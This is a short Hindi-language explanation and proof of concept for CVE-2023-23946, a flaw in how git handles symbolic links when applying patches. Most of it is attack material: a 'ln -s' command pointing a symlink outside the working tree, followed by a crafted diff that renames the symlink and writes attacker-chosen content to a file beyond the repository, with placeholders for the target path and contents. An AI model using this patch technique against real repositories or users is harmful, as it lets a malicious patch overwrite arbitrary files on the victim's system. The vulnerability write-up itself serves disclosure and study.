
CVE-2023-23946 की व्याख्या और POC
CVE-2023-23946 का स्पष्टीकरण और POC
CVE-2023-23946 भेद्यता git द्वारा प्रतीकात्मक लिंक को संभालने के तरीके में एक दोष के कारण होती है। जब git एक प्रतीकात्मक लिंक बनाता है, तो वह वास्तव में इसे प्रतीकात्मक लिंक के रूप में नहीं संभालता है और इसी कारण हम इसका शोषण करके कार्यशील वृक्ष के बाहर की फ़ाइलों को इंगित कर सकते हैं।
ln -s [PATH_YOU_WANT_TO_ACCESS_OUTSITE_WORKING_TREE] symlink
diff --git a/symlink b/newsymlink
rename from symlink
rename to newsymlink
--
diff --git /dev/null b/newsymlink/spawn
new file mode 100644
index 0000000..e47f4ea
--- /dev/null
+++ b/newsymlink/[FILE_OUTSIDE]
@@ -0,0 +1 @@
+[WHAT_YOU_WANT_INSIDE_THE_FILE]
\ No newline at end of file
पैच क्या करता है? हम मौजूदा प्रतीकात्मक लिंक का नाम बदलते हैं और एक नई फ़ाइल बनाते हैं। इस तरह, जब हम /newsymlink/[FILE_OUTSIDE] को संशोधित करते हैं, तो git प्रतीकात्मक लिंक के विरुद्ध अपनी सुरक्षा लागू नहीं करता है।